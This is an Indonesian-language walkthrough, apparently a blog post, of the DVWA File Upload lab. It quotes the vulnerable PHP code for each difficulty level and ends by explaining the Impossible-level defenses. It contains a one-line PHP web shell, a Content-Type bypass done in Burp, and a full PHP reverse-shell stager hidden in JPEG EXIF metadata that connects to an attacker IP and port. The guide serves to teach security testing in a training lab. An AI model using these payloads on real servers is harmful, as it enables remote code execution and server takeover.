File Upload Vulnerability adalah serangan di mana penyerang dapat mengunggah file berbahaya ke server web melalui fitur upload yang tidak aman. File yang diunggah (biasanya berupa webshell, backdoor, atau script berbahaya) kemudian dapat dieksekusi oleh server, sehingga penyerang mendapatkan akses kontrol ke sistem. Berbeda dengan jenis kerentanan lain seperti SQL Injection atau XSS, pada File Upload Vulnerability:

  1. Penyerang tidak hanya menyisipkan kode, tetapi mengunggah file sendiri ke server
  2. File tersebut bisa berupa PHP, ASP, JSP, atau executable lain yang langsung dapat dijalankan
  3. Serangan ini bersifat server-side, bukan client-side

Karena itu, jika berhasil, dampaknya biasanya jauh lebih besar dan permanen dibandingkan serangan injeksi biasa.

Analogi File Upload Vulnerability

Bayangkan sebuah gedung kantor yang memiliki kotak surat di depan pintu. Kotak surat tersebut seharusnya hanya menerima surat biasa, tetapi tidak ada penjaga yang memeriksa isinya. Penyerang kemudian memasukkan sebuah bom berbentuk surat ke dalam kotak tersebut. Begitu bom diterima dan "disimpan" di dalam gedung, bom tersebut dapat meledak kapan saja dan mengendalikan seluruh gedung. Dalam hal ini, fitur upload adalah kotak surat, dan webshell adalah bom tersebut.

Dampak File Upload Vulnerability

Dampak dari kerentanan ini sangat berbahaya karena penyerang bisa mendapatkan akses langsung ke server, antara lain:

  1. Remote Code Execution (RCE) — Penyerang dapat menjalankan perintah arbitrary di server
  2. Pengambilan alih server (full server compromise)
  3. Pencurian data sensitif (database, file konfigurasi, kredensial)
  4. Penyebaran malware ke pengguna lain yang mengakses website
  5. Defacement atau penghancuran website
  6. Pembuatan backdoor permanen untuk akses di kemudian hari
  7. Penggunaan server untuk melakukan serangan lebih lanjut (seperti DDoS, phishing, atau C2 server)

Karena file yang diunggah disimpan dan dijalankan di sisi server, kerentanan ini termasuk salah satu yang paling berbahaya dan sering menjadi pintu gerbang utama kompromi sistem.

Low

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?> 

Berikut adalah source code dari level low, bisa dilihat bahwa dalam sistem pada level ini tidak ada sanitasi ataupun filter yang dapat mengautentikasi file yang telah terupload.

Sehingga, kita dapat menggunakan one liner web shell, yang kita dapat upload di sistem.

Step 1: Buat file, berikan nama apapun.

None

Step 2: Didalam file masukan kode dibawah. Pada kode tersebut kita menggunakan php untuk menyuruh sistem untuk melakukan request apapun yang dimasukan pada variable cmd.

<?php system($_REQUEST["cmd"]); ?>

Step 3: Tinggal di upload di sistem

None
pilih file yang dibuat
None
klik upload

Step 4: Trigger payload yang telah diupload

Setelah melakukan file upload kita dapat menggunakan metode file inclusion LFI untuk menjalankan command yang ingin dijalankan, seperti dibawah ini.

http://localhost:8080/vulnerabilities/upload/../../hackable/uploads/file_upload1.php?cmd=whoami

Setelah dijalankan maka result-nya akan seperti gambar diabawah ini.

None

Medium

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

Berikut adalah source code untuk level medium. Bisa dilihat, kode kurang lebih level ini hampir sama seperti level low, hanya dengan beberapa perbedaan kecil. Pada bagian file information, sistem akan mengekstrak nama file, tipe file, dan ukuran file, lalu menyimpannya ke dalam masing-masing variabel. Setelah itu, variabel-variabel tersebut digunakan sebagai parameter dalam if statement untuk memfilter file yang bukan gambar. Dengan mekanisme ini, file hanya akan dianggap valid jika bertipe JPEG atau PNG serta memiliki ukuran kurang dari 100.000 bytes atau sekitar 100 KB, sehingga hanya file yang memenuhi kriteria tersebut yang dapat berhasil diunggah dan menampilkan pesan sukses.

None

Untuk proses penyerangan hampir sama dengan level low, cuman dengan tambahan bantuan Burpsuite saja. Pertama-tama kita nyalakan foxy proxy dan intercept di Burpsuite terlebih dahulu, dan akan kita coba capture network request saat kita upload file, seperti diatas. Setelah itu kita, kirim request ke repeater.

None

Pada repeater kita ubah Content-Type menjadi image/jpeg, sehingga dapat bypass pemfilteran. Jika kita send maka response dari request yang kita telah modifikasi maka akan seperti dibawah ini.

None

setelah itu kita bisa jalankan perintah yang kita gunakan pada level low, seperti berikut.

None

hasil yang akan ditampilkan jika kita klik enter maka akan seperti dibawah ini.

None

High

Berikut adalah source code untuk level high.

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?> 

Perbedaan utama pada level ini adalah security system yang diimplementasi. Seperti adanya method strtolower() yang membuat nama-nama extention menjadi lower case semua sehingga tidak bisa mengubah nama extention untuk bypass sistem ini. Setelah itu dengan adanya metode getimagesize() untuk mengecek ukuran dari file sementara, jika berhasil akan dipermanenkan dengan move_uploaded_file().

pertama-tama kita bisa download file .jpeg apapun, dalam konteks ini saya mendownload file cat.jpeg. Lalu, saya akan menggunakan exiftool unutuk menyelipkan payload yang akan digunakan. Jika kita exiftool cat.jpeg gambar dibawah merupalan hasil dari file tersebut.

None

Jika dilihat gambar dibawah saya menambahkan kolom baru yaitu "Document Name" dengan value payload yang saya ingin sisipkan.

None
exiftool -DocumentName='<?php /**/ error_reporting(0); $ip = "192.168.126.128"; $port = 4444; if (($f = "stream_socket_client") && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = "stream"; } if (!$s && ($f = "fsockopen") && is_callable($f)) { $s = $f($ip, $port); $s_type = "stream"; } if (!$s && ($f = "socket_create") && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = "socket"; } if (!$s_type) { die("no socket funcs"); } if (!$s) { die("no socket"); } switch ($s_type) { case "stream": $len = fread($s, 4); break; case "socket": $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a["len"]; $b = ""; while (strlen($b) < $len) { switch ($s_type) { case "stream": $b .= fread($s, $len-strlen($b)); break; case "socket": $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS["msgsock"] = $s; $GLOBALS["msgsock_type"] = $s_type; if (extension_loaded("suhosin") && ini_get("suhosin.executor.disable_eval")) { $suhosin_bypass=create_function("", $b); $suhosin_bypass(); } else { eval($b); } die(); __halt_compiler();' kucing.jpg

Setelah itu sama seperti level-level sebelumnya, kita tinggal upload file cat.jpeg yang telah kita modifikasi dan tinggal kita trigger supaya dapat berjalan.

Tetapi sebelum kita trigger kita harus menyalakan listener terlebih dahulu di msfconsole, seperti dibawah ini.

None

Dan setelah kita setup semua options, kita dapat run.

Setalah itu kita dapat trigger dari file inclusion dengan metode LFI seperti dibawah ini.

None

Jika kita balik ke listener, maka kita telah dapa shell.

None

Impossible

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

Pada level High, DVWA File Upload telah menerapkan beberapa lapisan keamanan untuk mencegah serangan File Upload Vulnerability. Kode ini melakukan pengecekan ekstensi file yang ketat (hanya mengizinkan jpg, jpeg, dan png), membatasi ukuran file maksimal 100KB, serta memverifikasi tipe MIME (image/jpeg dan image/png). Selain itu, fungsi getimagesize() digunakan untuk memastikan bahwa file yang diupload benar-benar merupakan gambar yang valid. Yang paling penting, sistem tidak langsung menyimpan file asli melainkan melakukan re-encoding menggunakan imagecreatefromjpeg()/imagepng() dan imagejpeg()/imagepng(), sehingga semua metadata EXIF (seperti Comment atau DocumentName) akan dihapus. File juga disimpan dengan nama acak yang dihasilkan dari md5(uniqid() . $uploaded_name) untuk mencegah overwriting dan prediksi nama file. Seluruh proses upload dilindungi dengan Anti-CSRF token. Kombinasi teknik-teknik ini membuat serangan polyglot (JPEG + PHP shell) menjadi jauh lebih sulit.